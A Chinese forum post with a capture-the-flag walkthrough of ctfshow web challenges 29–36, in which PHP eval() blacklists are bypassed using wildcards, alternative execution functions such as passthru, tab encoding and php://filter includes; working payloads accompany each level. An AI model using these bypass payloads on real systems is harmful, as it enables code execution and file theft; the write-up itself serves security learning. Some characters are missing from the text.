代码执行黑名单绕过 ctfshow web入门29-36

君叹   ·   发表于 2023-08-24 22:48:17   ·   CTF&WP专版

代码执行绕过

这里在说每道题的时候,会把使用的相关手法的理论以及为什么要这样做,这样做在实战中可能会在一个什么样的场景这些都连带着说一下

web29

查看代码
代码过滤了 flag

 <?php

/*
# -*- coding: utf-8 -*-
# <span class="label label-primary">@Author</span>: h1xa
# <span class="label label-primary">@Date</span>:   2020-09-04 00:12:34
# <span class="label label-primary">@Last</span> Modified by:   h1xa
# <span class="label label-primary">@Last</span> Modified time: 2020-09-04 00:26:48
# <span class="label label-primary">@email</span>: h1xa<span class="label label-primary">@ctfer.com#CTL{n}#</span> <span class="label label-primary">@link</span>: https://ctfer.com

*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        eval($c);
    }
}else{
    highlight_file(__FILE__);
}

这里我们直接传
?c=system('cat f*');
即可
这道题放在实战中的场景可能是黑名单过滤
有一些铭感文件的文件名被卡主了
我们可以通过*或者?这样的语法来进行绕过

这里说一下 和 ? 的区别 可以匹配0个或多个字符
?是匹配任意一个字符
比如当前目录下存在

flag.php
file
qwe.txt

这几个文件

如果我使用命令

cat f*
会输出 flag.php file 两个文件的内容

如果是
cat fl*
则只会输出 flag.php 的内容

同样,想要查看file文件我们甚至可以

cat ????
因为当前目录下只有 file 是四个字符的文件
看下实际效果

同样的,想要匹配 file 这个文件
我们还可以
cat fi*
cat fil*
cat f??e
等操作
感兴趣的小伙伴可以自己多试试

上payload

我们看到页面仍旧是空白
但是如果右键或者ctrl+u查看源代码却可以看到flag

这里的原因是因为这个文件的内容开头是 一个尖括号
这些内容被 html 当做标签解读了(虽然也解读不出来什么东西)
没有被当做内容输出
所以页面上显示空白
这里的话想要直接看到内容可以用tac命令

tac是倒序输出,从最后一行一行一行往上的输出
我们可以看到 <?php 没有被输出
因为那些内容被当做html了
但是其他内容因为没有一个尖括号在前面
被当做文本直接输出了


web30

这里过滤了 system,flag,php 三个东西

 <?php

/*
# -*- coding: utf-8 -*-
# <span class="label label-primary">@Author</span>: h1xa
# <span class="label label-primary">@Date</span>:   2020-09-04 00:12:34
# <span class="label label-primary">@Last</span> Modified by:   h1xa
# <span class="label label-primary">@Last</span> Modified time: 2020-09-04 00:42:26
# <span class="label label-primary">@email</span>: h1xa<span class="label label-primary">@ctfer.com#CTL{n}#</span> <span class="label label-primary">@link</span>: https://ctfer.com

*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php/i", $c)){
        eval($c);
    }
}else{
    highlight_file(__FILE__);
}

过滤 system 的意义在于禁用命令执行函数
但是我们知道
可以命令执行的函数不止 system 这么一个

system
passthru
popen
shell_exec
exec()
还有反引号,就这俩 ``

这里要提一句的是
反引号其实就是在调用 shell_exec 函数
如果在 php 配置中禁用了 shell_exec 也就相当于禁用了反引号命令执行
但如果只是用正则表达式过滤了shell_exec的话还是可以用反引号的

这里直接换个函数
比如passthru
?c=passthru('tac f*');


web31

这题比起上提过滤了 cat,sort,shell,空格,点,单引号

 <?php

/*
# -*- coding: utf-8 -*-
# <span class="label label-primary">@Author</span>: h1xa
# <span class="label label-primary">@Date</span>:   2020-09-04 00:12:34
# <span class="label label-primary">@Last</span> Modified by:   h1xa
# <span class="label label-primary">@Last</span> Modified time: 2020-09-04 00:49:10
# <span class="label label-primary">@email</span>: h1xa<span class="label label-primary">@ctfer.com#CTL{n}#</span> <span class="label label-primary">@link</span>: https://ctfer.com

*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
        eval($c);
    }
}else{
    highlight_file(__FILE__);
}

cat和sort是查看文件内容的命令
shell是 shell_exec() 这个函数
把上道题的payload里的单引号换成双引号,空格替换成 %09 即可
%09是tab(制表符)的url编码
也可以当做空格使用

?c=passthru('tac%09f*');


web32

这里过滤了分号,左括号,空格

 <?php

/*
# -*- coding: utf-8 -*-
# <span class="label label-primary">@Author</span>: h1xa
# <span class="label label-primary">@Date</span>:   2020-09-04 00:12:34
# <span class="label label-primary">@Last</span> Modified by:   h1xa
# <span class="label label-primary">@Last</span> Modified time: 2020-09-04 00:56:31
# <span class="label label-primary">@email</span>: h1xa<span class="label label-primary">@ctfer.com#CTL{n}#</span> <span class="label label-primary">@link</span>: https://ctfer.com

*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
        eval($c);
    }
}else{
    highlight_file(__FILE__);
}

我们可以利用 include 函数
include函数不需要括号也能用,就像echo一样
先放 payload

?c=include$_GET[7]?>&7=php://filter/convert.base64-encode/resource=flag.php

结果进行base64解码即可得到flag

这里代码执行了
include$_GET[7] 这行代码
因为分号被禁用
但是如果没有分号 eval函数又会报错
就用?>作为结束符直接写上去
后面就是文件包含的内容

php://filter

php伪协议中的 file 协议
同样的,这里可以使用 data伪协议或者 php://input
这些来继续代码执行
相关的利用会在以后的文章中用到


web33,34,35,36

同上
?c=include$_GET[7]?>&7=php://filter/convert.base64-encode/resource=flag.php

用户名金币积分时间理由
Track-魔方 200.00 0 2023-09-10 20:08:44 深度 100 普适 100

打赏我,让我更有动力~

2 条回复   |  直到 2023-9-7 | 409 次浏览

Track-魔方
发表于 2023-8-27

本月奖金池已空,金币奖励将于下月打赏

评论列表

  • 加载数据中...

编写评论内容

Track-魔方
发表于 2023-9-7

文章中还是有一些字符丢失了,影响文章的可读性

评论列表

  • 加载数据中...

编写评论内容
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.